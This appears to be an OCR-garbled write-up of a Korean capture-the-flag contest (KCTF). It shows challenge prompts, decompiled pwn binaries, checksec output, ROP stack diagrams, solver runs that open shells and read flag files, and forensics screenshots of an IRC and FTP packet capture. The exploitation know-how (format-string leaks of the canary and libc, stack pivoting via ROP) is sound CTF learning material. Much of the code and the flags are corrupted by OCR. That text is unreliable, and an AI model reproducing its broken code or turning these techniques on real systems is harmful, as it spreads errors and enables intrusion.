if ( vi->_Mypair. Myval2. Bx._Buf[@] != vo->_Mypair. Myval2. Bx. Buf[@]
| -3

1->_Mypair._Myval2._Bx._ Buf[1],

va < vo->_Mypair._Myval2. Bx. Buf[1],
v0->_Mypair._Myval2._Bx._Buf[1])

2

v1->_Mypair._Myval2. Bx._Buf[2],

V5 < vo->_Mypair._Myval2. Bx._Buf[2],
v0->_Mypair._Myval2._Bx._Buf[2])

-1

= vi->_Mypair._Myval2._Bx._Buf[3],

V6 < vO->_Mypair._Myval2. Bx._Buf[3],
v0->_Mypair._Myval2._Bx._Buf[31))) )

v7=-v3 | 1;
goto LABEL_19;
}
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char *decrypt(char *dest, const char *encryptstr) {
char *origin;

for (origin = dest; xencryptstr; dest++, encryptstr++) {
if (isupper (encryptstr)) {
wdest = (rencryptstr - 'A' +21) % 26 + 'A';
¥

if C(islower (encryptstr)) {
wdest = (xencryptstr - 'a' + 16) ¥ 26 + 'a';
¥

if Gisdigit(encryptstr)) {
wdest = (rencryptstr = '0' +7) %10 + '0')]
¥

o0 {

if Gisalnum(xencryptstr)
*dest = *encryptstr;
¥
¥

xdest = 'H0'S

return origin;
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Challenge 15 Solves

rock-paper-scissors
master!

50

Are you in 1%?
nc ctfkuality.kr 12345

author : ch4rli3kop

Flag Submit
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D #Too [#netcat>nc.exe ctf kuality kr 12345
1. rock

2. paper

3. scissors

Sorry You Lose!
haha. . try again!

rock
paper
scissors

VvV ownr —
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m444ndu@ubuntu:~/Desktop/KCTF/misc1$ python sol_misci.py
[+] Opening connection to ctf.kuality.kr on port 12345: Done
KCTF{WOW!_You_got_R3411111y_Lucky!}

[*] Closed connection to ctf.kuality.kr port 12345
[*] switching to interactive mode
[*] Got EOF while reading in interactive

$
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Challenge 13 Solves

The ATTACK of Predator
50

Decode That!

author : ch4rli3kop

Flag Submit
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Challenge 16 Solves

Beware of SNS!
50

AAZ0| MESQUCE S ALAO| Choto] ZAFSHAI 2.

author : ch4rli3kop

& mandum:

Flag Submit
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@FX5Fz7u3n6SF7Lt
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@ Translate Tweet
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Challenge 8 Solves

Get Shell!
229

Get The Flag!
nc ctfkuality.kr 12350

author : ch4rli3kop

& pwn1

Flag Submit
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Challenge 8 Solves

M4Th Ch4llang3
229

Clear the challenge!

nc ctfkuality.kr 12348

author : ch4rli3kop

Flag Submit
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D:#Tool#netcat>nc.exe ctf kuality.kr 12348

This stage is the Math coding test!!

If you solve the problem of 100 stages, you can get the flag!!
Then, Work hard!

3435+1613+5330+1159+5382x5665%1720-2632+1676-575-1585+6468+4651+3100-16%2455=777
> 52449705004
OK right answer!

7550%1471%2217-5571+4429+4801-586%1897%1756-1153%696 74051 «3240+4305-7513%3214=777
>
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m444ndu@ubuntu:~/Desktop/KCTF/misc6_math$ python sol_math.py
[+] Opening connection to ctf.kuality.kr on port 12348: Done
[*] switching to interactive mode

Congratulation!!! you won!
KCTF{Programning_1s_alwdYs_R3quir3d}

[*] Got EOF while reading in interactive
$
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy$ ./pwnl
get shell for this?

> aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa

m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy$ I
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy$ python sol_pwnl.py
[+] Opening connection to ctf.kuality.kr on port 12350: Done
[*] Switching to interactive mode

S id

u1d=1000(pwn1) gid=1000(pwn1) groups=1000(pwni)

S s

flag. txt

pwn1

pwn1.sh

S cat flag.txt

KciF(It,w4s,se,3Asy,for,vau,Te,solv3?)

$
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Challenge 4 Solves

rock-paper-scissors
master! season 2

your luck will save you or you can exploit that..?

nc ctfkuality.kr 12346
hint

author : ch4rli3kop

& hint.txt

Flag Submit
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m444ndu@ubuntu:~/Desktop/KCTF /pwn_easy3$ python sol_pwn3.py
[+] Opening connection to ctf.kuality.kr on port 12346: Done
[*] switching to interactive mode

you select :

$ s

flag. txt

misc2

misc2.sh

¢ cat flag.txt

KCTF{LUCKy_ZZZ444anNg!}

/home /misc2/misc2.sh: line 4: 26998 Alarm clock /home/misc2/misc2

sl
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Challenge 4 Solves

R3ad Fi1ag!
414

ELEEE]

nc ctfkuality.kr 12351

hint : ROp
author : ch4rli3kop

Flag Submit
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy2$ checksec pwn2
[*] '/home/m444ndu/Desktop/KCTF/pwn_easy2/pwn2

Arch: and64-64-1ittle
RELRO:  Partial RELRO
stack:  No canary found
NX: NX enabled

PI No PIE (0x400000)
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/// local variable allocation has failed, the output may be wrong!

int _cdecl main(int argc, const char **argy, const char **envp)

{

char strl; // [rsp+eh] [rbp-210h]
char str2; // [rsp+108h] [rbp-116h]
int check; // [rsp+206h] [rbp-10h]

initialize(*(_QWORD *)&argc, argv, envp);
memset(&strl, 0, 0x100ull);
memset(&str2, 0, Ox100ull);
check = GxBEEFDEAD;
view(&str2, OLL);
puts(&byte_460BC4);
printf("Input data
getinput(&stri, 0x30011);
if ( check != GxDEADBEEF )
{
strepy(&strl, &str2);
exit(0);
¥
memcpy (&str2, &strl, 0x250ull);
printf(adk, &strl);
return 0;
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy25 python sol_pwn2.py
[+] Starting local process './pwn2': pid 8239
[*] running in new terminal: /usr/bin/gdb -q
db"

[+] Waiting for debugger: Done

[*]_switching to interactive mode

ok AlZtH2 = nAoi: |

/pWn2" 8239 -x "/tmp/pwWnYOzWrX.g
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memcpy(str2, strl, 0x250)

§lr] ‘Str] .Strl

agaaaa-. “aaaaaa” ‘aaaaaa-.

Str2

“bbbbbb-+-” ‘aaabbb-+-.” »

Check Check Check
Oxdeadbeef Oxdeadbeef "
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_easy2$ python sol_pwn2.py

[+] Opening connection to ctf.kuality.kr on port 12351: Done

[*]_switching to interactive mode

ok Al ZItH2 KcTF{You_d1D_4_600d_Jeb}

/home/pwn2/pwn2.sh: Tine 4T 1178 Segmentation fault (core dunped) /home/pw
n2/pwn2

[1 Got EOF while reading in interactive

$
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m444ndu@ubuntu:~/Desktop/KCTF /pwn_easy2$ python sol2_pwn2.py
[+] Opening connection to ctf.kuality.kr on port 12351: Done
[*]_switching to interactive mode

ok A2 Elid

uid=1000(pwn2) gid=1000(pWn2) groups=1600(pwn2)

$ s

flag. txt

pwn2

pwn2.sh

¢ cat flag.txt

KciF(veu,d1n,4,ﬁoed,Jeh)

$
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Challenge

& puns

Flag

0Solves

Guest Book
500

leave a comment!
ne ctf kualitykr 12353

hint : format string bug
author : ch4rli3kop

Submit
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hard$ checksec pwn4
[*] '/home/ma44ndu/Desktop/KCTF/pwn_hard/pwn4

Arch: and64-64-1ittle
RELRO:  Partial RELRO
stack:  Canary found
NX: NX enabled

PI No PIE (0x400000)
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hardS ./pwn4

Welcome to our CTF!!
Please fill out the guest list!

- Kuaity

Comment : Good Luck!

Name : charliskop

Please enter visitor name
>> AAAA
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initialize(*(_QWORD *)&argc, argv, envp);
memset(str, 0, 0x30ull);

input_name();

while (1)

while (1)
{

while (1)
{
while (1)
{
printmenu();
choice = getint();
if ( choice =2 )
break;
view_name();
3
if ( choice > 2 )
break;
if ( choice 1= 1)
goto LABEL_13;
input_data(str, 0LL);
3
if ( choice I=3)
break;
view_data(str);

if ( choice =4 )
return 0;
LABEL_13:
printf(*invalid value”, 6LL);
}
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int _ fastcall print_name(char *str)

{

return snprintf(str, 0x30ull, name);

}
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[+] canary = @x35f06e65dbcbibooe
[+] libc_base = 0x7fa33a66d0ee
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size_ t _ fastcall input_data(char *al, _ int64 a2)
{
unsigned int length; // [rsp+iCh] [rbp-44h]
char src; // [rsp+26h] [rbp-46h]
unsigned __int64 vS; // [rsp+58h] [rbp-8h]

V5 = _ readfsquord(6x28u);
puts(s);
printf(" Input length : ", a2);
length = getint();
printf("  Input comment :
if ( (signed int)length > 48 )
getinp((unsigned __int8 *)&src, 0x30u);
else
getinp((unsigned __int8 *)&src, length);
strepy(al, &src);
return strlen(al);
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hard$ python sol_pwn4.py
[+] Opening connection to ctf.kuality.kr on port 12353: Done
[+] canary = 6x8e86513fc9c05200

[+] libc_base = x7fee5feb3000

[*] switching to interactive mode

5 id

uid=1000(pwna) gid=1000(pwna) groups=1600(pwna)

$ s

flag. txt

pwnd

pwn4.sh

¢ cat flag.txt

KCiF(17H4N77707707h0HHHH3]

$
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Challenge O Solves

Mandu Heaven 7
500

Mandu is true.
ne ctf kualitykr 12354
hint : str[10]?
author : charli3kop

Flag Submit
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hard2$ checksec pwns
[*] ' /home/maa4andu/Desktop/KCTF /pwn_hard2/puns

Arch: and64-64-1ittle
RELRO:  Partial RELRO
stack:  No canary found
NX: NX enabled

PIE: No PIE (0x400000)
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hard2s ./pwn5

11 Welcome to The Mandu Heaven
I hope that you have good meal here!
Please order now and pay when you leave.

SELECT
1. order

2. Payment
3. Leave a comment
4. Exit

>> 1

MENU
@ Gogi mandu

@ Kinchi mandu
© Ganja mandu
@ Mul mandu
@ Gun mandu

Please typing your menu
>>
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// local variable allocation has failed, the output may be wrong!
int _cdecl main(int argc, const char **argv, const char **envp)
{

int v3; // eax

char v5[68]; // [rsp+6h] [rbp-116h]

initialize(*(_QWORD *)8argc, argy, envp);
while (1)

while (1)
{

while (1)
{
while (1)
{
printchoice(*(_QWORD *)&argc);
v3 = getint(*(_QWORD *)&argc);
*(_DHORD *)v5 = v3;
if (v31=2)
break;
payment (*(_QWORD *)&argc);

3
i (v3>2)
break;
i (v3l=1)
goto LABEL 13;
*(_QUORD *)8argc = &v5[0x10 * ordernum + 0x10];
order (*(_QWORD *)8&argc);

3
if (v3l=3)
break;
comment (*(_QWORD *)&argc);

3
if(v3==4)
break;
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int _ fastcall order(const char *al)

{

int result; // eax

if ( remain @ || remain > 0x10 )
return puts(" Sorry! No table!");
--remain;
if ( ordernum > 0x10 )
return puts(" Sorry! Food ingredients are exhausted!™);
menu() ;
getinp(al, Ox10LL);
if ( Istrcmp(al, "Gogi mandu®) )
{
setup[ordernum] = 500;
result = ment(setup[ordernum]);
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puts(&byte_400EFE);
puts(" input order number");
printf(" >> ");
V2 = getint(" > ");
¥
while ( Isetup[v2] );
puts(" Give me the money");
printf(" >> ");
V0 = (unsigned _int64)getint(" >>
result = v2;
setup[v2] = vO;

- setup[v2];
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punchos x/40wx 6x6061cO

0X6061cO <setup>: 0x000001F4 0X00000000 0X00000000 0x00000000
0x6061d0 <setup+16>:  ©x00000000 0X00000000 0X00000000 0x00000000
0x6061e0 <setup+32>:  ©x00000000 0X00000000 0X00000000 0x00000000
0X6061f0 <setup+48>:  ©x00000000 0X00000000 0X00000000 0x00000000
0X606200 <setup+64>:  ©x00000000 0X00000000 0X00000000 0x00000000
0X606210 <setup+80> 0X00000000 0X00000000 0X00000000 0x00000000
0X606220 <setup+96> 0X00000000 0X00000000 0X00000000 0x00000000
0x606230 <setup+112>:  ©x00000000 0X00000000 0X00000000 0x00000000
0X606240 <setup+128>:  ©x00000001 ©x00000010 ©x0000000F 9x00000000
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Stack .bss

main —)
) |eave 0x6060c0 0x6060c0
ret
deet] &pop rdi; ret
gadge
leave &read_got
ret
&puts_plt
gadget2
f &main
pop rdi
ret
sfp 0x6060c0
rsp: —) ret &gadget1
rbp : m—)

rip:  —)
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main
leave

) ret
gadgetl
leave

ret
gadget2

pop rdi
ret

rsp : m—)
rbp : m—
rip:  —)

sfp

ret

Stack

—

0x6060c0

0x6060c0

&gadget1

.bss

0x6060c0
&pop rdi; ret

&read_got

&puts_plt

&main
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main
leave
ret
gadgetl
) |eave
ret
gadget2

pop rdi
ret

rsp : m—)
rbp : m—
rip:  —)

Stack

—

0x6060c0

sfp 0x6060c0
ret &gadget1
—

.bss

0x6060c0
&pop rdi; ret

&read_got

&puts_plt

&main
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main
leave

ret
gadgetl
leave

—) ret
gadget2

pop rdi
ret

rsp : m—)
rbp : m—
rip:  —)

Stack

—

0x6060c0
—

sfp 0x6060c0

ret &gadget1

.bss

0x6060c0
&pop rdi; ret

&read_got

&puts_plt

&main
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main
leave
ret

gadgetl
leave
ret

gadget2

) pop rdi
ret

rsp : mm—)
rbp : m—
rip:  —)

Stack

—

0x6060c0

—

sfp 0x6060c0

ret &gadget1

.bss

0x6060c0
&pop rdi; ret

&read_got

&puts_plt

&main
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pwndbg> 1ib

LEGEND: STACK | HEAP | CODC | DATA | RWX | RODATA

0x400000
0X601000
0X602000
0X603000
0x7f366855F000
0x7f366871F000
0x7f366891f000

0x402000
0X602000
0X603000
0X607000
0x7f366871F000
0x7f366891F000
0x7f3668923000

r-xp
r--p
rw-p
w-p
r-xp
---p
r--p

2000
1000
1000
4000

10000

200000
4000

[ /home /m444ndu/Desktop/KCTF/pwn_hard2/pwns

1600  /home/m444ndu/Desktop/KCTF/pwn_hard2/pwn5

2000  /home/m444ndu/Desktop/KCTF/pwn_hard2/pwn5

°

0 /home /m444ndu/Desktop/KCTF/pwn_hard2/1ibc.s0.6
10000 /home/n444ndu/Desktop/KCTF/pwn_hard2/libc.s0.6
1c0000 /home/m444ndu/Desktop/KCTF/pwn_hard2/1libc.s0.6
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m444ndu@ubuntu:~/Desktop/KCTF/pwn_hard2$ python sol_pwn5.py
[+] Opening connection to ctf.kuality.kr on port 12354: Done
[+] libc_base = 0x7f14128ba00e

[*] switching to interactive mode

invalid value
SELECT
1. order

2. Payment
3. Leave a comment
4. Exit

>> bye! bye~!

S s

flag. txt

pwn5.

pwn5.sh

< cat flag.txt
KCiF(m4NDu7157411HaV57TRU3!]
$
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Challenge 12 Solves

Hold Me!
50

view on spectrogram!

author : YB_Band

& HoLD_ME

Flag Submit
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Challenge 11 Solves

Can you read this?
50

| can't read this. Please help me!

Exxxxxxxxxxxxtract and Carving and Decode!

author : skyhell

& hi.tar

Flag Submit
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Challenge 11 Solves

ANAGRAM?
50

Complete The FLAG!

author : ch4rli3kop

& nagisHere.ipg

Flag Submit
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M WH3R3.pcap
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AES@IFRE Qes»EF S Qi

(RTirc

No. Time Source Destination Protocol Length Info
545 -17129.492244  192.168.10.1 192.168.10.141 IRC 67 Request (WHO)
546 -17129.489667  192.168.10.141 192.168.10.1 IRC 160 Response (352)
547 -17129.487023  192.168.10.141 192.168.10.1 IRC 155 Response (352)
549 -17129.483968  192.168.10.141 192.168.10.1 IRC 115 Response (315)
551 -17111.808574  192.168.10.1 192.168.10.141 IRC 74 Request (PING)
552 -17111.806436  192.168.10.141 192.168.10.1 IRC 118 Response (PONG)
554 -17109.019867  192.168.10.141 192.168.10.1 IRC 148 Response (PRIVMSG)
560 -17095.722729  192.168.10.1 192.168.10.141 IRC 114 Request (PRIVMSG)
564 -17084.432162  192.168.10.141 192.168.10.1 IRC 164 Response (PRIVMSG)

Frame 545: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface @

Ethernet II, Src: Vmware c0:00:08 (00:50:56:c0:00:08), Dst: Vmware 7e:le:98 (00:0C:29:7e:1le:98)
Internet Protocol Version 4, Src: 192.168.10.1, Dst: 192.168.10.141

Transmission Control Protocol, Src Port: 55427, Dst Port: 6667, Seq: 1, Ack: 1, Len: 13
Internet Relay Chat
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M Wireshark - Follow TCP Stream (tcp.stream eq 19) - WH3R3 pcap

WHO #secret
thybridg.debian.local 352 doctor #secret conan i.love.debian.org hybrids.debian.local conan H :@ M444ndu
:hybrids.debian.local 352 doctor #secret pch21 192.168.10.1 hybrids.debian.local doctor H@ :@ pch21
thybrid8.debian.local 315 doctor #secret :End of /WHO list.

PING LAGA270813645

thybridg.debian.local PONG hybrid8.debian.local :LAGA270813645

:conan!conan@i.love.debian.org PRIVMSG #secret :2fAtd OF HFS0| SA Z0t=.

PRIVMSG #secret :Ef210| £ LHAO| &2 20|LR

tconan!conan@i.love.debian.org PRIVMSG #secret :U| O3 21 2:SLICH O 28 =0 ZREH2.

PING LAG6012290

thybridg.debian.local PONG hybrid8.debian.local :LAG6012290

PRIVMSG #secret : 2Tt

WHO #secret

thybridg.debian.local 352 doctor #secret conan i.love.debian.org hybrids.debian.local conan H :@ M444ndu
:hybrids.debian.local 352 doctor #secret pch21 192.168.10.1 hybrids.debian.local doctor H@ :@ pch21
thybrid8.debian.local 315 doctor #secret :End of /WHO list.

PRIVMSG #secret : =212 FH|oH S26IL 24 Dol 0N ~FUES det.

:conan!conan@i.love.debian.org PRIVMSG #secret :OHH ZEAFBILICEH.

[341 bytes missing in capture file] WHO #secret

Packet 546. 9 ciient pki(s), 11 server pki(s). 12 turn(s). Click fo sefect

Entire conversation (1196 bytes) > Show and save dataas UTF-8  ~ Stream [19 5
Find: Find Next
Filter Out This Stream Print Save as Back 7 =22
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M WH3R3.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR Z©1ORB QQ_aQE

(R ftp~datal

No. Time Source Destination Protocol Length Info
606 -16649.214939  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
607 -16649.214935  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
608 -16649.214932  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
609 -16649.214930  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
610 -16649.214928  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
611 -16649.214927  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
612 -16649.214925  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
613 -16649.214923  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)
614 -16649.214922  192.168.10.1 192.168.10.141 FTP-DATA 1514 FTP Data: 1460 bytes (PASV) (STOR go_to_the place.jpg)

Frame 606: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface @

Ethernet II, Src: Vmware c0:00:08 (00:

156:0:00:08), Dst: Vmware 7e:1e:98 (00:

Internet Protocol Version 4, Src: 192.168.10.1, Dst: 192.168.10.141
Transmission Control Protocol, Src Port: 56374, Dst Port: 64880, Seq: 1, Ack: 1, Len:
FTP Data (1460 bytes data)

[Setup method:

PASV]

[Command: STOR go_to_the_place.jpg]

Command frame
[current working directory: ]

604

:129:7e:1e:98)

1460
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M Wireshark - Follow TCP Stream (tcp.stream eq 21) - WH3R3.pcap - u] X

ffdsffer00104a46494600010100000100010000 fdb004300020202020201020202020302020303060403030303070505040608070908080703080
90a0d0be90a0c0a08080bofobocedoeoeofoe090b1011100e110d0e0e0effdbeo430102030303030307040407020908090c0e0e0e0e0e0e0E0e0e0e
0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0edeededede0ededeededede0enedenededeneedefC000110801C202bC03012200021101031101FFC
4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d001020300041105
122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535
455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3ad4a5a6a7a8a%aab2b3babsbeb7bsbobac2ac3
cacscbe7c8cocad2d3dadsded7dsdodaeleze3edese6e7e8edeat1f2f3faf5f6f7fafofaffc4001f010003010101010101010101000000000000010
2030405060708090a0bff400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c10923
3352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a7374757677787
97a82838485868788898292939495969798999aa2a3ada5a6a7a8adaab2b3babsbeb7bgbobac2c3cacsc6c7c8cocad2d3dadsded7dsdodae2e3ees
e6e7egedeaf2f3fafsfef7f8fofaffdaneoce3010002110311003f00f c6dc6339a5fe21fceb72dfa59e57dd7045baf70396ffeb7fofc3aobad3edad
554c7102e3abbsdcdffeedefc3ffdsfacazdoe3bo2472f6da65ddceoaszesalfe29381fe7fcfas6f5b6896b0806726e5fdofoasfo1deb64f279249f
f3fe7fcfabdagfsad145239dcdblaaaaboaaa28441c0551802a445cb0148076ce71fe7fcffoo9cad170ade2baagg6ec29cfdd1d2aca5116e8323dea
24f98827fcffoffee3efd2e97046eeob75f7adocdbdeas1dbo55c9523df157e2809e00e456ecd691aa6579f414d82db2debsd108dcf2ebafosabisb
@c74ab6b683180bf5e2b7adac19f1c75eb8adbgba7774caa31fc2bal44f2275ddce19ed7e5e463deaasbebsafa39bag89230498cfbf15e8365f062fb
53fdoe750f1f2ea96f1436cc736acc37boff3fe7ad655674e8a4e6ed776f9b319632146ce6ed776f99f35bc004cOb87ca08Ccf3dabes3f88d75f0627
fd977c3b6fe15b53178d540fb5be39ce39cd79af86bc21aaf8d7e287873c21a14713eb5ae6a50e9f60b3cbe5c66699¢22066¢1da32464e0d6078bbe
33a9f843e247887c29acac51eb3a36a3369f7ebo4abe6462585cc6e1587des5dca707bsfd392b518d4a917ccd38eb65d7daf49d275e50a8e4d72beob3
26700e9c1f5155faae0726b5278c85aa2¢30c181c03d73fe7fcff0036d58f72208a8c0027b6077ed48781d7273e95348bc83f8d478ebsff3fe7fc
fb6674a774379c75cd@3b11defava77af539ebfe7fcff008b25252d64906372a93cfboas3302f20f26e5f000463953dbe9s553a91f5fc6beabfdazfe
12863e157¢51f06683e1592fas5b5d53c07a56bb70dagaeb2bgbobogo9aseas2ae1320617b7afa7cafb7919ebdeb24d495deda6odogceac307f4as2
39cfa1deofdaelce3fcffoeoffaca7af538a04331c673cfbf6a421b239c9a939c647e3fe7fcffO08260f4ebsff3fe7fc8a00600481efabscae3a8a7
€0752303fcffeo9ff3cob7fe1fe7fcffO09e292d443707df340562c020cb1380bdcoec3fcfbs2e303d7d7fcffoffoevectco7adedsbe21db3adbed
ad3fd225cf4247dd1f9e3fcf51e817b9eebe19d24689e05d3b4e6004e91efb82bdedsesbfc3foadd278cf7a6162c724f39c9a69619¢0e6b036173F9
d267d434c6638029849279a00909539a616f4a6138e8714cddd71400f2493¢

9ag19fedsebsee7e11fd9e3e2678e3e02de7c46d06d34d7d0618ef2486dee751115edf25a286b86b784a93285ce383d4115e0bbb2808fbad6a1a852

74 client phifs), 0 server phife), O furnf(s).

192,168,10,1:56374 — 192,168,10,141:64880 (104 kB) ~ Show and save data as |Raw. > Stream [21

Find: Find Next

Filter Out This Stream Print Save as Back 7 =22
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<meta http-eauiv="refresh” content="0url=http://www.convertstring.com/ko/EncodeDecode/Basefidlecode” />

<p> KCTF{ IS_IT_TRU_FLAG_YOU_THINK??7} </p>

<1 Hello? —>
<1= LizBOVYJudEpYMHhKU3R0Z | VaTkYT VK I BUTFSS I RrZEFRSDAS ——>
<!==Bye!! —>
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String.fromCharCode(75, 67, 84, 70, 123, 67, 48, 77, 51, 95, 66, 65, 67, 75, 95, 72, 48, 77, 51, 58, 41, 125)
“"KCTF{COM3_BACK_HeM3:)}"
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</script>
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